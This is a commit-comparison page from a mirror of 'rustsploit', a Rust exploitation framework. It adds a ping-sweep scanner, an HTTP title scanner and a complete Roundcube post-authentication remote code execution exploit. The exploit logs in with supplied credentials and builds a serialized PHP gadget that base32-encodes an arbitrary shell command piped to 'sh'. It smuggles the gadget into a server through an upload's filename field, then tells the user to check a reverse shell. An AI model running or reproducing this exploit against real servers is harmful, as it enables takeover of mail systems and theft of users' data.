mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
8 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 28dd1f66dd | |||
| e06042d828 | |||
| e05c253bcb | |||
| 48bde25147 | |||
| 25c77dcb3b | |||
| 070e807b3e | |||
| a942303323 | |||
| 6a4aa3a2ad |
@@ -51,6 +51,7 @@ rdp = "0.12.8"
|
|||||||
|
|
||||||
# ssdp moudle scanner
|
# ssdp moudle scanner
|
||||||
regex = "1.11.1"
|
regex = "1.11.1"
|
||||||
|
ipnet = "2.11.0"
|
||||||
|
|
||||||
#camera uniview exploit
|
#camera uniview exploit
|
||||||
quick-xml = "0.37.4"
|
quick-xml = "0.37.4"
|
||||||
@@ -74,6 +75,9 @@ aes = "0.8.3"
|
|||||||
cipher = "0.4.4"
|
cipher = "0.4.4"
|
||||||
flate2 = "1.0.30"
|
flate2 = "1.0.30"
|
||||||
|
|
||||||
|
# for Roundcube exploit payload encoding
|
||||||
|
data-encoding = "2.5.0"
|
||||||
|
|
||||||
#avanti
|
#avanti
|
||||||
url = "2.5.4"
|
url = "2.5.4"
|
||||||
semver = "1.0.26"
|
semver = "1.0.26"
|
||||||
@@ -82,6 +86,9 @@ semver = "1.0.26"
|
|||||||
pnet_packet = "0.34" # Or the latest compatible version
|
pnet_packet = "0.34" # Or the latest compatible version
|
||||||
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
|
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
|
||||||
|
|
||||||
|
#pingsweep
|
||||||
|
which = "8.0.0"
|
||||||
|
|
||||||
[build-dependencies]
|
[build-dependencies]
|
||||||
regex = "1.11.1" # required for use in build.rs
|
regex = "1.11.1" # required for use in build.rs
|
||||||
|
|
||||||
|
|||||||
@@ -49,6 +49,8 @@ added uniview_nvr_pwd_disclosure
|
|||||||
added ssdp_msearch
|
added ssdp_msearch
|
||||||
added hearbleed info leak from server saved to a bin file
|
added hearbleed info leak from server saved to a bin file
|
||||||
added port scanner
|
added port scanner
|
||||||
|
added ping_sweep network scanner
|
||||||
|
added http_title_scanner
|
||||||
added find command
|
added find command
|
||||||
updated docs
|
updated docs
|
||||||
created docs
|
created docs
|
||||||
|
|||||||
+1
-1
@@ -163,7 +163,7 @@ Then:
|
|||||||
```
|
```
|
||||||
rsf> help
|
rsf> help
|
||||||
rsf> modules
|
rsf> modules
|
||||||
rsf> use scanners/port_scanner
|
rsf> use scanners/ping_sweep
|
||||||
rsf> set target 192.168.0.1
|
rsf> set target 192.168.0.1
|
||||||
rsf> run
|
rsf> run
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -14,4 +14,5 @@ pub mod zte;
|
|||||||
pub mod ivanti;
|
pub mod ivanti;
|
||||||
pub mod apache_tomcat;
|
pub mod apache_tomcat;
|
||||||
pub mod palto_alto;
|
pub mod palto_alto;
|
||||||
|
pub mod roundcube;
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1 @@
|
|||||||
|
pub mod roundcube_postauth_rce;
|
||||||
@@ -0,0 +1,215 @@
|
|||||||
|
use anyhow::{anyhow, Result};
|
||||||
|
use data_encoding::BASE32_NOPAD;
|
||||||
|
use md5;
|
||||||
|
use rand::Rng;
|
||||||
|
use base64::Engine as _;
|
||||||
|
use regex::Regex;
|
||||||
|
use reqwest::{Client, cookie::Jar, redirect::Policy};
|
||||||
|
use std::io::{self, Write};
|
||||||
|
use std::sync::Arc;
|
||||||
|
use std::time::{SystemTime, UNIX_EPOCH};
|
||||||
|
use rand::distr::Alphanumeric;
|
||||||
|
/// // Decode base64 constant for small transparent PNG
|
||||||
|
fn transparent_png() -> Vec<u8> {
|
||||||
|
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
|
||||||
|
base64::engine::general_purpose::STANDARD
|
||||||
|
.decode(PNG_B64)
|
||||||
|
.unwrap_or_default()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
|
||||||
|
fn build_serialized_payload(cmd: &str) -> String {
|
||||||
|
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
|
||||||
|
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
|
||||||
|
let len = gpgconf.len();
|
||||||
|
format!(
|
||||||
|
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
|
||||||
|
len, gpgconf
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn generate_from() -> &'static str {
|
||||||
|
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
|
||||||
|
let idx = rand::rng().random_range(0..OPTIONS.len());
|
||||||
|
OPTIONS[idx]
|
||||||
|
}
|
||||||
|
|
||||||
|
fn generate_id() -> String {
|
||||||
|
let mut rand_bytes = [0u8; 8];
|
||||||
|
rand::rng().fill(&mut rand_bytes);
|
||||||
|
let timestamp = SystemTime::now()
|
||||||
|
.duration_since(UNIX_EPOCH)
|
||||||
|
.unwrap()
|
||||||
|
.as_nanos()
|
||||||
|
.to_string();
|
||||||
|
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn generate_uploadid() -> String {
|
||||||
|
let millis = SystemTime::now()
|
||||||
|
.duration_since(UNIX_EPOCH)
|
||||||
|
.unwrap()
|
||||||
|
.as_millis();
|
||||||
|
format!("upload{}", millis)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
|
||||||
|
let mut url = reqwest::Url::parse(base)?;
|
||||||
|
url.query_pairs_mut().append_pair("_task", "login");
|
||||||
|
|
||||||
|
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
|
||||||
|
if res.status() != 200 {
|
||||||
|
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
|
||||||
|
}
|
||||||
|
Ok(res.text().await?)
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
|
||||||
|
let body = fetch_login_page(client, base).await?;
|
||||||
|
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
|
||||||
|
if let Some(cap) = re.captures(&body) {
|
||||||
|
Ok(cap[1].to_string())
|
||||||
|
} else {
|
||||||
|
Err(anyhow!("CSRF token not found"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
|
||||||
|
let body = fetch_login_page(client, base).await?;
|
||||||
|
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
|
||||||
|
if let Some(cap) = re.captures(&body) {
|
||||||
|
Ok(cap[1].parse().ok())
|
||||||
|
} else {
|
||||||
|
Ok(None)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
|
||||||
|
let token = fetch_csrf_token(client, base).await?;
|
||||||
|
let mut url = reqwest::Url::parse(base)?;
|
||||||
|
url.query_pairs_mut().append_pair("_task", "login");
|
||||||
|
|
||||||
|
let mut params = vec![
|
||||||
|
("_token", token),
|
||||||
|
("_task", "login".to_string()),
|
||||||
|
("_action", "login".to_string()),
|
||||||
|
("_url", "_task=login".to_string()),
|
||||||
|
("_user", username.to_string()),
|
||||||
|
("_pass", password.to_string()),
|
||||||
|
];
|
||||||
|
if !host.is_empty() {
|
||||||
|
params.push(("_host", host.to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
let res = client
|
||||||
|
.post(url)
|
||||||
|
.form(¶ms)
|
||||||
|
.send()
|
||||||
|
.await
|
||||||
|
.map_err(|e| anyhow!("Login request failed: {e}"))?;
|
||||||
|
|
||||||
|
if res.status() != 302 {
|
||||||
|
return Err(anyhow!("Login failed: HTTP {}", res.status()));
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
|
||||||
|
let png = transparent_png();
|
||||||
|
let boundary: String = rand::rng()
|
||||||
|
.sample_iter(&Alphanumeric)
|
||||||
|
.take(8)
|
||||||
|
.map(char::from)
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
let mut body = Vec::new();
|
||||||
|
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
|
||||||
|
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
|
||||||
|
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
|
||||||
|
body.extend_from_slice(&png);
|
||||||
|
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
|
||||||
|
|
||||||
|
let mut url = reqwest::Url::parse(base)?;
|
||||||
|
url.set_query(None);
|
||||||
|
url.query_pairs_mut()
|
||||||
|
.append_pair("_task", "settings")
|
||||||
|
.append_pair("_remote", "1")
|
||||||
|
.append_pair("_from", &format!("edit-!{}", generate_from()))
|
||||||
|
.append_pair("_id", &generate_id())
|
||||||
|
.append_pair("_uploadid", &generate_uploadid())
|
||||||
|
.append_pair("_action", "upload");
|
||||||
|
|
||||||
|
client
|
||||||
|
.post(url)
|
||||||
|
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
|
||||||
|
.body(body)
|
||||||
|
.send()
|
||||||
|
.await
|
||||||
|
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
|
||||||
|
|
||||||
|
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// // Entry point for dispatcher
|
||||||
|
pub async fn run(target: &str) -> Result<()> {
|
||||||
|
let mut base_url = target.trim().to_string();
|
||||||
|
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
|
||||||
|
base_url = format!("http://{}", base_url);
|
||||||
|
}
|
||||||
|
base_url = base_url.trim_end_matches('/').to_string();
|
||||||
|
|
||||||
|
// // HTTP client with cookies and no redirects
|
||||||
|
let jar = Jar::default();
|
||||||
|
let client = Client::builder()
|
||||||
|
.cookie_provider(Arc::new(jar))
|
||||||
|
.redirect(Policy::none())
|
||||||
|
.danger_accept_invalid_certs(true)
|
||||||
|
.timeout(std::time::Duration::from_secs(10))
|
||||||
|
.build()?;
|
||||||
|
|
||||||
|
if let Some(ver) = check_version(&client, &base_url).await? {
|
||||||
|
println!("[*] Detected Roundcube version: {}", ver);
|
||||||
|
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
|
||||||
|
println!("[!] Version appears vulnerable!");
|
||||||
|
} else {
|
||||||
|
println!("[-] Version not in known vulnerable range.");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
println!("[?] Could not determine version.");
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut username = String::new();
|
||||||
|
let mut password = String::new();
|
||||||
|
let mut host = String::new();
|
||||||
|
let mut command = String::new();
|
||||||
|
|
||||||
|
print!("Username: ");
|
||||||
|
io::stdout().flush()?;
|
||||||
|
io::stdin().read_line(&mut username)?;
|
||||||
|
|
||||||
|
print!("Password: ");
|
||||||
|
io::stdout().flush()?;
|
||||||
|
io::stdin().read_line(&mut password)?;
|
||||||
|
|
||||||
|
print!("Host parameter (optional): ");
|
||||||
|
io::stdout().flush()?;
|
||||||
|
io::stdin().read_line(&mut host)?;
|
||||||
|
|
||||||
|
print!("Command to execute: ");
|
||||||
|
io::stdout().flush()?;
|
||||||
|
io::stdin().read_line(&mut command)?;
|
||||||
|
|
||||||
|
let username = username.trim();
|
||||||
|
let password = password.trim();
|
||||||
|
let host = host.trim();
|
||||||
|
let command = command.trim();
|
||||||
|
|
||||||
|
if username.is_empty() || password.is_empty() || command.is_empty() {
|
||||||
|
return Err(anyhow!("Username, password and command must be provided"));
|
||||||
|
}
|
||||||
|
|
||||||
|
login(&client, &base_url, username, password, host).await?;
|
||||||
|
let serialized = build_serialized_payload(command);
|
||||||
|
upload_payload(&client, &base_url, &serialized).await
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
use anyhow::{Result, Context};
|
||||||
|
use regex::Regex;
|
||||||
|
use reqwest::Client;
|
||||||
|
|
||||||
|
pub async fn run(target: &str) -> Result<()> {
|
||||||
|
run_interactive(target).await
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||||
|
let client = Client::builder()
|
||||||
|
.redirect(reqwest::redirect::Policy::limited(5))
|
||||||
|
.build()
|
||||||
|
.context("Failed to build HTTP client")?;
|
||||||
|
|
||||||
|
let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
|
||||||
|
for scheme in ["http", "https"] {
|
||||||
|
let url = format!("{}://{}", scheme, target);
|
||||||
|
match client.get(&url).send().await {
|
||||||
|
Ok(resp) => {
|
||||||
|
let text = resp.text().await.unwrap_or_default();
|
||||||
|
if let Some(cap) = title_re.captures(&text) {
|
||||||
|
println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
|
||||||
|
} else {
|
||||||
|
println!("[+] {} -> <no title>", url);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Err(e) => {
|
||||||
|
println!("[-] Failed {}: {}", url, e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
@@ -2,3 +2,5 @@ pub mod sample_scanner;
|
|||||||
pub mod ssdp_msearch;
|
pub mod ssdp_msearch;
|
||||||
pub mod port_scanner;
|
pub mod port_scanner;
|
||||||
pub mod stalkroute_full_traceroute;
|
pub mod stalkroute_full_traceroute;
|
||||||
|
pub mod http_title_scanner;
|
||||||
|
pub mod ping_sweep;
|
||||||
|
|||||||
@@ -0,0 +1,81 @@
|
|||||||
|
use anyhow::{Result, Context};
|
||||||
|
use ipnet::IpNet;
|
||||||
|
use std::net::IpAddr;
|
||||||
|
use std::sync::Arc;
|
||||||
|
use tokio::{
|
||||||
|
process::Command,
|
||||||
|
sync::Semaphore,
|
||||||
|
time::{timeout, Duration},
|
||||||
|
};
|
||||||
|
use std::io::{self, Write};
|
||||||
|
|
||||||
|
/// Main entry point for the RouterSploit auto-dispatch system
|
||||||
|
pub async fn run(target: &str) -> Result<()> {
|
||||||
|
let cidr = prompt_for_cidr(target).await?;
|
||||||
|
execute_ping_sweep(&cidr).await
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Prompt for a valid CIDR until received
|
||||||
|
async fn prompt_for_cidr(initial: &str) -> Result<String> {
|
||||||
|
// // Start with any provided value
|
||||||
|
let mut input = initial.trim().to_string();
|
||||||
|
loop {
|
||||||
|
// // If empty, ask user
|
||||||
|
if input.is_empty() {
|
||||||
|
print!("Enter target (CIDR, e.g., 192.168.1.0/24): ");
|
||||||
|
io::stdout().flush().ok();
|
||||||
|
input.clear();
|
||||||
|
io::stdin().read_line(&mut input)?;
|
||||||
|
input = input.trim().to_string();
|
||||||
|
}
|
||||||
|
// // Try to parse as CIDR
|
||||||
|
match input.parse::<IpNet>() {
|
||||||
|
Ok(_) => return Ok(input),
|
||||||
|
Err(_) => {
|
||||||
|
eprintln!("[!] Module failed: Use CIDR notation like 192.168.1.0/24\n\nCaused by:\n invalid IP address syntax");
|
||||||
|
input.clear();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Executes a ping sweep across the provided CIDR subnet
|
||||||
|
pub async fn execute_ping_sweep(target: &str) -> Result<()> {
|
||||||
|
// // Parse the target as CIDR (e.g., 192.168.1.0/24)
|
||||||
|
let net: IpNet = target.parse().context("Use CIDR notation like 192.168.1.0/24")?;
|
||||||
|
// // Collect all host IPs in the subnet
|
||||||
|
let hosts: Vec<IpAddr> = net.hosts().collect();
|
||||||
|
// // Use a semaphore to limit concurrency to 50
|
||||||
|
let semaphore = Arc::new(Semaphore::new(50));
|
||||||
|
let mut tasks = Vec::new();
|
||||||
|
|
||||||
|
for ip in hosts {
|
||||||
|
let sem = semaphore.clone();
|
||||||
|
let ip_str = ip.to_string();
|
||||||
|
tasks.push(tokio::spawn(async move {
|
||||||
|
// // Limit concurrent pings using the semaphore
|
||||||
|
let _permit = sem.acquire_owned().await.unwrap();
|
||||||
|
// // Use "ping" for IPv4, "ping6" for IPv6
|
||||||
|
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
|
||||||
|
let result = timeout(
|
||||||
|
Duration::from_secs(3),
|
||||||
|
Command::new(cmd)
|
||||||
|
.args(["-c", "1", "-W", "1", &ip_str])
|
||||||
|
.output(),
|
||||||
|
)
|
||||||
|
.await;
|
||||||
|
// // If ping succeeded, print that the host is up
|
||||||
|
if let Ok(Ok(out)) = result {
|
||||||
|
if out.status.success() {
|
||||||
|
println!("[+] Host {} is up", ip_str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
for t in tasks {
|
||||||
|
let _ = t.await;
|
||||||
|
}
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user